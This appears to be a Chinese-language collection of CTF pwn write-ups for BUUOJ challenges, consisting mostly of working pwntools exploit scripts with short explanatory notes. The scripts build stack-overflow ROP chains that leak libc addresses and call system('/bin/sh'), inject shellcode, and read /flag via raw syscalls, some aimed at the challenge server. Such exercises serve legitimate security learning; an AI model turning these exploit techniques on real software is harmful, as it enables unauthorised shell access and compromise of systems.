题目1 https://buuoj.cn/challenges#ciscn_2019_c_1
Exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 from pwn import *from LibcSearcher import * p = process('./ciscn_2019_c_1' ) elf = ELF('./ciscn_2019_c_1' ) ret=0x4006b9 rdi=0x400c83 main=elf.sym['main' ] puts_plt=elf.plt['puts' ] puts_got=elf.got['puts' ] p.sendlineafter(b'Input your choice!\n' ,b'1' ) payload=b'\0' +b'a' *(0x50 -1 +8 )+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main) p.sendlineafter(b'Input your Plaintext to be encrypted\n' ,payload) p.recvline() p.recvline() puts_addr=u64(p.recvuntil(b'\n' )[:-1 ].ljust(8 ,b'\0' )) print (hex (puts_addr)) libc=LibcSearcher('puts' ,puts_addr) offset=puts_addr-libc.dump('puts' ) binsh=offset+libc.dump('str_bin_sh' ) system=offset+libc.dump('system' ) p.sendlineafter(b'Input your choice!\n' ,b'1' ) payload=b'\0' +b'a' *(0x50 -1 +8 )+p64(ret)+p64(rdi)+p64(binsh)+p64(system) p.sendlineafter(b'Input your Plaintext to be encrypted\n' ,payload) p.interactive()
题目2 https://buuoj.cn/challenges#bjdctf_2020_babyrop
非常基本的一道利用puts函数构造rop链泄露libc基址的题目
Exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from pwn import *from LibcSearcher import * p = remote("node4.buuoj.cn" ,25323 ) elf = ELF('./bjdctf_2020_babyrop' ) main = elf.sym['main' ] poprdi_ret = 0x400733 puts_got = elf.got['puts' ] puts_plt = elf.plt['puts' ] s = p.recv()print (s) payload = b'a' *40 + p64(poprdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main) p.sendline(payload) s = p.recv() puts_addr = u64(s[:6 ].ljust(8 ,b'\x00' ))print (hex (puts_addr)) libc =LibcSearcher('puts' ,puts_addr) offset = puts_addr - libc.dump('puts' ) binsh = offset + libc.dump('str_bin_sh' ) system = offset + libc.dump('system' ) payload = b'a' * 40 + p64(poprdi_ret) + p64(binsh) + p64(system) p.sendline(payload) p.interactive()
题目3 https://buuoj.cn/challenges#get_started_3dsctf_2016
一道十分简单的栈溢出,将main的返回地址移交给自带的get_flag函数
把这道题列出来的原因在于,程序没有开启标准输入输出,
如果单纯执行完get_flag不设置一个正确的返回地址,这个函数里的输出显示不出来
(详细原因目前也不是很清楚)
Exp
针对上述问题,选择exit函数作为get_flag的返回地址(不能放一个空着的p32(0)进去)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwn import *from LibcSearcher import * p = process('./get_started_3dsctf_2016' ) elf = ELF('./get_started_3dsctf_2016' ) get_flag = 0x80489A0 param1 = 0x308CD64F param2 = 0x195719D1 sleep(0.1 ) payload = b'a' *56 + p32(get_flag) +p32(0x0804E6A0 ) + p32(param1) + p32(param2) p.sendline(payload) p.interactive()
题目4 https://buuoj.cn/challenges#[HarekazeCTF2019]baby_rop
从给定libc获取获取基址
由于给了libc版本,此exp展示使用指定的libc文件获取偏移的方法
不用给的libc文件的见下一道题,harekaze2019的babyrop2
Exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from pwn import * p = remote('node4.buuoj.cn' ,28818 ) e = ELF('./pwn' ) payload1 = '\x00' + '\xff' * 7 p.sendline(payload1) p.recvuntil("Correct\n" ) payload2 = (231 + 4 ) * b'a' + p32(e.plt['write' ]) + p32(0x08048825 ) +p32(1 ) + p32(e.got['write' ]) + p32(4 ) p.sendline(payload2) write_got = u32(p.recv(4 ))print (hex (write_got)) libc = ELF("./libc-2.23.so" ) libc.address = write_got - libc.sym['write' ] system = libc.sym["system" ] binsh = next (libc.search(b"/bin/sh" )) p.sendline(payload1) payload3 = (231 + 4 ) * b'a' + p32(system) + p32(0xdeadbeef ) + p32(binsh) p.sendline(payload3) p.interactive()
题目5 题目
https://buuoj.cn/challenges#[HarekazeCTF2019]baby_rop2
和前面一个题目同样,是一个构造rop链的栈溢出,虽然题目也给了libc文件,但是不是必要的
方法
这道题目的差别或值得注意的地方在于
不再是用puts函数(只需要一个参数),这道题目中可以用printf构造rop链
printf有两个参数,除了rdi寄存器之外,还需要rsi寄存器来传递参数,但是这个程序里没有直接的pop rsi, ret
的代码,只有一个pop rsi, pop r15, ret
,因此需要再额外给r15在栈上留出一个空间。详见exp代码。
用read函数进行libc基地址泄露,虽然理论上用printf也可以,但是我不知道为什么没有成功,我在网上查的时候别人也有这个问题
Exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 from pwn import *from LibcSearcher import * p = remote("node4.buuoj.cn" ,29507 ) elf = ELF('./babyrop2' ) poprdi_ret = 0x400733 poprsi_popr15_ret = 0x400731 main = elf.sym['main' ] printf_plt = elf.plt['printf' ] printf_got = elf.got['printf' ] read_plt = elf.plt['read' ] read_got = elf.got['read' ] format_str = 0x400790 payload = b'a' *40 + p64(poprdi_ret) + p64(format_str) + \ p64(poprsi_popr15_ret) + p64(read_got) + p64(0 ) + p64(printf_plt) + p64(main) p.sendlineafter("What's your name? " ,payload) read_addr = u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' ))print ('read_addr:' + hex (read_addr)) libc = LibcSearcher('read' , read_addr) offset = read_addr - libc.dump('read' ) binsh = offset + libc.dump('str_bin_sh' ) system = offset + libc.dump('system' ) payload = b'a' *40 + p64(poprdi_ret) + p64(binsh) + p64(system) p.sendlineafter("What's your name? " , payload) p.interactive()
题目6 https://buuoj.cn/challenges#ciscn_2019_n_5
依旧是栈溢出,可以构造rop,也可以直接ret2shellcode(没开NX)
由于rop写习惯了,先列出rop的做法
第一个输入随便写,第二个输入开始溢出
溢出30+2+8 = 40个字节,用puts的got表来泄露libc基址
值得注意的是返回main后第二遍溢出时需要栈对齐
Exp1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from pwn import *from LibcSearcher import * p = remote('node4.buuoj.cn' ,27829 ) e = ELF("./ciscn_2019_n_5" ) main = e.symbols["main" ] puts_got = e.got["puts" ] puts_plt = e.plt["puts" ] pop_rdi = 0x400713 ret = 0x4004c9 p.recvline() p.sendline(b'aaaa' ) p.recvline() payload = b'a' * 40 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main) p.sendlineafter(b"What do you want to say to me?\n" , payload) puts_addr = u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' ))print (hex (puts_addr)) libc = LibcSearcher('puts' , puts_addr) offset = puts_addr - libc.dump('puts' ) system = offset + libc.dump('system' ) binsh = offset + libc.dump('str_bin_sh' ) p.recvline() p.sendline(b'aaaa' ) p.recvline() payload = b'a' * 40 + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system) p.sendlineafter(b"What do you want to say to me?\n" , payload) p.interactive()
ret2shellcode
由于题目给了bss段上100个字节的空间,可以用来写shellcode
需要在注意的包括context.arch设置平台环境
而且特意看了一下 len(shellcode)
是 48 < 100字节
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import *from LibcSearcher import * p = remote('node4.buuoj.cn' ,27829 ) context.arch = 'amd64' context.log_level = 'debug' shellcode = asm(shellcraft.sh()) name_addr = 0x0601080 p.sendlineafter("tell me your name\n" ,shellcode) payload = b'a' * (0x20 + 0x8 ) + p64(name_addr) p.sendlineafter(b"What do you want to say to me?\n" ,payload) p.interactive()
题目7 发现没有写过ret2syscall的题目,记录一下方便忘了再看
1 2 3 4 5 payload = b'/flag\x00' +b'a' *(0x48 -6 ) + p64(pop_rdi)+p64(buf)+p64(pop_rsi)+p64(0 )\ + p64(pop_rdx) + p64(0 ) \ + p64(pop_rax)+p64(2 )+p64(syscall) + p64(pop_rdi) + p64(3 ) +p64(pop_rsi) + p64(buf+0x10 ) \ +p64(pop_rdx)+p64(0x32 ) +p64(pop_rax)+p64(0 )+p64(syscall)+ p64(pop_rdi) + p64(1 ) + p64(pop_rsi) \ + p64(buf+0x10 ) + p64(pop_rdx) + p64(0x90 ) + p64(pop_rax) + p64(1 ) +p64(syscall)
%rax
System call
%rdi
%rsi
%rdx
%rcx
%r8
%r9
0
sys_read
unsigned int fd
char *buf
size_t count
1
sys_write
unsigned int fd
const char *buf
size_t count
2
sys_open
const char *filename
int flags
int mode
3
sys_close
unsigned int fd